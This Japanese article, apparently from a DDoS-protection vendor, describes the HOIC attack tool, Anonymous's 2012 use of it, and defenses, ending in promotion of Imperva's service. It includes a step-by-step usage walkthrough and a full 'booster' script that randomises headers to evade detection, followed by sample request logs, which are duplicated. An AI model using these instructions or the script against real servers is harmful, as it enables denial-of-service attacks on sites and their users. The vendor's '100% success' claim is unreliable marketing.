High Orbit Ion Cannon (HOIC)は、オープンソースのネットワーク負荷テスト機能を提供するプラットフォームです。サーバ攻撃を目的として利用され、DoSおよびDDoS攻撃を実施できます。
このプラットフォームは攻撃実行のみを目的として開発されたため、他の用途はありません。複数プラットフォームに対応するLOICとは異なり、HOICはWindows専用に設計されていますが、MacやLinuxへの移植も可能です。HOICおよびその前身LOICは、ビデオゲームの武器にちなんで名付けられており、攻撃手段そのものです。
HOICはLOICより高度なアプリですが、一方でLOICが持つTCP/UDPフラッドなどの機能は搭載されていません。
カスタムスクリプトを使用し、例えばユーザーエージェントなどのヘッダーをランダム化し、攻撃対象を複数に設定します。これにより利用者のプライバシーがある程度守られ、所在地を隠すことが可能です。
HOICは単体で動作するアプリとして設計され、協調機能は限定的でGUIモードのみが利用できます。単独のハッカーでも使えますが、DDoS攻撃を実施するには50人のHOICユーザーが必要です。
High Orbit Ion Cannon (HOIC)はLow Orbit Ion Cannon (LOIC) の進化版です。LOICに多くの制約があったため、Anonymousと呼ばれるグループがより安全な方法でDoSおよびDDoS攻撃を実行するために、このオープンソースのネットワークHOICを作成しました。HOICはHTTPのGETおよびPOSTリクエストでターゲットを混乱させます。
LOICが提供する機能を、より高度な形で提供します。
HOICがLOICより優れている点は以下の通りです:
Anonymousが初めてHOIC攻撃を実施したのは2012年で、現在はOperation Megauploadとして知られるこの攻撃は、記録上最大級のDDoS攻撃とされています。Megauploadや違法なファイル共有サイトの閉鎖に対する反撃として実施され、攻撃対象は米国司法省、米国レコーディング産業協会、米国映画協会、Broadcast Music, Inc.でした。
前作と同様、HOICは無料で提供され、使いやすさも兼ね備えています。誰でもソフトにアクセスでき、知識がなくても致命的なDDoS攻撃を実行可能です。このアプリは一度に最大256の攻撃セッションを開くことができ、ターゲットサーバに不要なトラフィックを送り続け、正当なリクエストが処理されなくなるまで攻撃を持続します。
これらの改善がある一方で、HOICはTCPやUDPのフラッド攻撃は行えず、攻撃はHTTPのGETおよびPOSTリクエストのみで実施されます。
攻撃の強度は、ブースターと呼ばれる追加スクリプトにより向上できます。この機能はHOIC独自のもので、利用者は自分のニーズに合わせてアプリの設定や攻撃内容をランダム化することも可能です。
HOICやブースターの自由な運用にもかかわらず、個人で与えられる打撃は限定的で、サーバを停止させるには複数のハッカーが連携する必要があります。
法執行機関は多くのダウンロードリンクを閉鎖していますが、回避策も存在します。ここでは動的な解析を紹介します。
HOICの解析
HOICは主にWindows向けに設計されており、攻撃を実行するには、Targetsの下にある+ボタンをクリックするとターゲット情報を入力するポップアップが表示されます。
以下のターゲット情報を入力してください:
URL: 攻撃対象のサイトのURLを入力してください
Power: 必要に応じて攻撃の強度を調整できます。初期設定は以下の通りです:
Low = ~2 requests/sec for each THREAD defined on the main GUI
Medium = ~4 requests/sec for each THREAD specified on the main GUI
High - ~8 requests/sec for each THREAD specified on the main GUI
Booster: 追加の設定スクリプトで、攻撃に更なる威力を加えます。
スクリプトの一例は以下の通りです:
Dim user-agents() as String
Dim referers() as String
dim randheaders() as string
// EDIT THE FOLLOWING STRINGS TO MAKE YOUR OWN BOOST UNIQUE AND THEREFORE MORE EVASIVE!
// リストを作成
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.1; .NET CLR 1.1.4322)"
useragents.Append "Googlebot/2.1 ( http://www.googlebot.com/bot.html) "
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13"
useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)"
useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)"
useragents.Append "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
useragents.Append "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
useragents.Append "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
useragents.Append "Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53"
// リファラーリストを作成
referers.Append "http://www.google.com/?q="+URL
referers.Append URL
referers.Append "http://www.google.com/"
referers.Append "http://www.yahoo.com/"
// ランダムヘッダーを追加
randheaders.Append "Cache-Control: no-cache"
randheaders.Append "If-Modified-Since: Sat, 29 Oct 1994 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2007 12:54:49 GMT"
randheaders.Append "If-Modified-Since: Wed, 30 Jan 2000 01:21:09 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2009 08:49:15 GMT"
randheaders.Append "If-Modified-Since: Fri, 20 Oct 2006 09:34:27 GMT"
randheaders.Append "If-Modified-Since: Mon, 29 Oct 2007 11:59:59 GMT"
randheaders.Append "If-Modified-Since: Tue, 18 Aug 2003 12:54:49 GMT"
// ------------------ この行以下は編集しないでください
// ランダムなリファラーを生成
Headers.Append "Referer: " + referers(RndNumber(0, referers.UBound))
// ランダムなユーザーエージェントを生成(この行は変更しないでください)
Headers.Append "User-Agent: " + useragents(RndNumber(0, useragents.UBound))
// ランダムヘッダーを生成
Headers.Append randheaders(RndNumber(0, randheaders.UBound))
入力が完了したら追加ボタンをクリックするとホームページに戻ります。
ホームページでは、攻撃速度を上げるためにTHREADS数の調整が可能です。準備が整ったら、"FIRE TEH LAZER!" ボタンをクリックしてください。
次のようなHTTPリクエストが表示されます:
webserver
GET / HTTP/1.0Accept: */*Accept-Language: enHost: www.hoic_target_site.com
Apacheサーバをターゲットとした場合、access_logの記録は以下のようになります:
72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"
ただし、Apacheサーバをターゲットとする場合は、以下のような記録になることが多いです。
72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:57:59 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:00 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:01 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:02 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"72.192.214.223 - - [27/Jan/2012:08:58:03 -0600] "GET / HTTP/1.0" 200 21124 "-" "-"
HOICは旧型LOICよりも巧妙で、より守る機能が充実しているため匿名性が確保されています。また、攻撃の識別やDDoS攻撃の遮断が難しくなっています。
HOIC攻撃に対しては、見かけ上安全なサイトでも被害に遭う可能性があるため、一層の対策が必要です。ウェブやネットワークの脆弱性診断ツールは役立たずの場合が多く、HOICがヘッダーをランダム化するため、ウェブアプリケーションファイアウォール (WAF) での検知はほぼ不可能です。では、どうすればよいでしょうか?
侵入検知システム(IDS)または侵入防止システム(IPS)の利用をおすすめします。
また、ローカルにインストールされたツールを使用することも有効です。これらのツールがあればDDoS攻撃に耐えることができるため、多くの組織はツールのみならず十分な帯域幅を備えた仮想クラウドホスティングを利用してサイトを守っています。
Imperva Website DDoS Protectionの利用も検討でき、HOICノードから発生するHTTP/Sフラッドを含むアプリ層のDDoS攻撃から守るのに役立ちます。Imperva Website DDoS ProtectionはDNSリダイレクト機能により、サイトに到達する前にトラフィックを解析し、不審なリクエストを除外します。
Imperva Website DDoS Protectionは100%の成功率を誇り、Impervaのトラフィック検査技術で不審なリクエストを遮断し、正当なリクエストのみを通します。さらに、ImpervaのCDNにより、快適なユーザー体験と帯域幅の削減が実現されます。
ウェブサイト運営者として、攻撃は時折発生するため、常に備えておく必要があります。誰でもHOICを利用して攻撃を仕掛ける可能性があるからです。
HOICからの攻撃は検知が困難なため、脅威を感じる前にサービスプロバイダーに相談するのが最善です。ほとんどのプロバイダーは貴社の安全を守るための体制を整えています。
最新情報を購読